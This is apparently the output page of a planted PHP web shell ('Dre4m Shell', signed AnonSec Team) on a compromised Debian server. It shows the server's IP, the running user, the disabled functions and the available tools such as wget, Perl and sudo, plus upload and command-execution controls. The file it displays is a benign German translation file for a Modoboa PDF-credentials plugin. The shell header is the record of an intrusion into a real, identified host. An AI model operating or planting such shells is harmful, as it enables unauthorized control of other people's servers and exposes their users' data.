Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.20
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib/python3.5/site-packages/modoboa_pdfcredentials/locale/de/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib/python3.5/site-packages/modoboa_pdfcredentials/locale/de/LC_MESSAGES/django.po
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# 
# Translators:
# Boris Andratzek <BAndratzek@LBV-net.de>, 2018
# Christian Wiegand, 2017
# controlcde, 2015
msgid ""
msgstr ""
"Project-Id-Version: Modoboa\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2017-09-27 12:01+0200\n"
"PO-Revision-Date: 2018-04-25 14:19+0000\n"
"Last-Translator: Boris Andratzek <BAndratzek@LBV-net.de>\n"
"Language-Team: German (http://www.transifex.com/tonio/modoboa/language/de/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: de\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: constants.py:7
msgid "None"
msgstr "kein"

#: documents.py:52 forms.py:53
msgid "Personal account information"
msgstr "Persönliche Kontoinformationen"

#: documents.py:55
msgid "Powered by Modoboa - Mail hosting made simple"
msgstr "Powered by Modoboa - Mail hosting made simple"

#: documents.py:69
#, python-format
msgid ""
"\n"
"Dear %s, this document contains the credentials you will need\n"
"to connect to Modoboa. Learn the content and destroy\n"
"the document as soon as possible.\n"
msgstr "\nLiebe/r %s, dieses Dokument enthält die Anmeldeinformationen, die Du benötigst um Dich mit Modoboa zu verbinden. Präge Dir bitte die Informationen ein und lösche anschliessend dieses Dokument.\n"

#: documents.py:75
msgid "Web panel:"
msgstr "Webanwendung:"

#: documents.py:78
msgid "Username"
msgstr "Benutzername"

#: documents.py:79
msgid "Password"
msgstr "Passwort"

#: documents.py:89
msgid ""
"\n"
"Here you can view your emails anytime online, create filters or manage\n"
"your contacts.\n"
msgstr "\nHier können Sie Ihre Emails online ansehen, Filter oder Kontakte erstellen.\n"

#: documents.py:96
msgid "Please change your password!"
msgstr "Bitte ändern Sie Ihr Passwort!"

#: documents.py:102
msgid "PC/Tablet/Smartphone configuration:"
msgstr "PC/Tablet/Smartphone Konfiguration:"

#: documents.py:105 forms.py:79
msgid "SMTP server address"
msgstr "SMTP Serveradresse"

#: documents.py:106 forms.py:84
msgid "SMTP server port"
msgstr "SMTP Server-Port"

#: documents.py:107 forms.py:90
msgid "SMTP connection security"
msgstr "SMTP-Verbindungssicherheit"

#: documents.py:108 forms.py:97
msgid "IMAP server address"
msgstr "IMAP Serveradresse"

#: documents.py:109 forms.py:102
msgid "IMAP server port"
msgstr "IMAP Server-Port"

#: documents.py:110 forms.py:108
msgid "IMAP connection security"
msgstr "IMAP Verbindungssicherheit"

#: documents.py:120
msgid "Use those settings for your computer, tablet or phone."
msgstr "Verwenden Sie diese Einstellungen für Ihren Computer, Ihr Tablet oder Telefon"

#: forms.py:20
msgid "Documents storage"
msgstr "Dokumentenablage"

#: forms.py:23
msgid "Directory to save documents into"
msgstr "Speicherpfad für Dokumente"

#: forms.py:25
msgid "Path to a directory where PDF documents will be saved"
msgstr "Dateipfad in dem die PDF-Dokumente abgelegt werden"

#: forms.py:28
msgid "Security options"
msgstr "Sicherheitseinstellungen"

#: forms.py:31
msgid "Delete documents after the first download"
msgstr "Lösche Dokumente nach dem ersten Download"

#: forms.py:34
msgid ""
"Automatically delete a document just after its first download from this "
"interface"
msgstr "Löscht automatisch das Dokument, wenn es das erste Mal über dieses Oberfläche heruntergeladen wurde"

#: forms.py:40
msgid "Generate documents only at account creation"
msgstr "Erzeuge Dokumente nur wenn ein Konto angelegt wurde"

#: forms.py:43
msgid ""
"Generate a new document only when a new account is created. If set to no, a "
"new document will be created each time a password is updated."
msgstr "Erzeuge ein neues Dokument nur wenn ein neues Konto erstellt wurde. Wenn die Option auf Nein steht wird jedes Mal ein neues Dokument erstellt, wenn ein Passwort aktualisiert wurde."

#: forms.py:49
msgid "Customization options"
msgstr "Individuell angepasste Optionen"

#: forms.py:52
msgid "Title"
msgstr "Titel"

#: forms.py:54
msgid "The document's title"
msgstr "Titel des Dokuments"

#: forms.py:58
msgid "Web panel url"
msgstr "URL der Webanwendung"

#: forms.py:59
msgid "URL of the Modoboa web panel"
msgstr "URL der Modoboa Webanwendung"

#: forms.py:63
msgid "Custom message"
msgstr "Eigener Nachrichtentext"

#: forms.py:65
msgid "A custom message that will appear at the end of documents"
msgstr "Eine eigene Nachricht, die am Ende des Dokuments angezeigt wird"

#: forms.py:70
msgid "Include mail client connection settings"
msgstr "Verbindungseinstellungen für Mailprogramme einschließen"

#: forms.py:73
msgid ""
"Include required SMTP and IMAP connection information to configure a mail "
"client, a tablet or a phone"
msgstr "Erforderliche SMTP und IMAP Einstellungen zur Konfiguration von Mailprogramme, Tablets oder Telefonen"

#: forms.py:80
msgid "Address of the SMTP server (hostname or IP)"
msgstr "Adresse des SMTP-Servers (Hostname oder IP)"

#: forms.py:86
msgid "Listening port of the SMTP server"
msgstr "Port, auf dem der SMTP-Server erreicht werden kann"

#: forms.py:93 forms.py:111
msgid "Connection security mechanism"
msgstr "Mechanismus zur Verbindungssicherung"

#: forms.py:98
msgid "Address of the IMAP server (hostname or IP)"
msgstr "Adresse des IMAP-Servers (Hostname oder IP)"

#: forms.py:104
msgid "Listening port of the IMAP server"
msgstr "Port, auf dem der IMAP-Servier erreicht werden kann"

#: handlers.py:46
msgid "Retrieve user's credentials as a PDF document"
msgstr "Erhalte die Anmeldeinformationen des Benutzer als ein PDF-Dokument"

#: lib.py:29
#, python-format
msgid "Failed to create the directory that will contain PDF documents (%s)"
msgstr "Ein Fehler ist bei der Erstellung des Pfades, der die PDF Dokumente (%s) enthält, aufgetreten. "

#: modo_extension.py:16 modo_extension.py:24
msgid "PDF credentials"
msgstr "PDF Anmeldeinformationen"

#: modo_extension.py:19
msgid "Generate PDF documents containing users' credentials"
msgstr "Erzeuge PDF-Dokumente welche die Benutzeranmeldeinformationen enthält"

#: views.py:30
msgid "No document available for this user"
msgstr "Kein Dokument für diesen Benutzer verfügbar"

Anon7 - 2022
AnonSec Team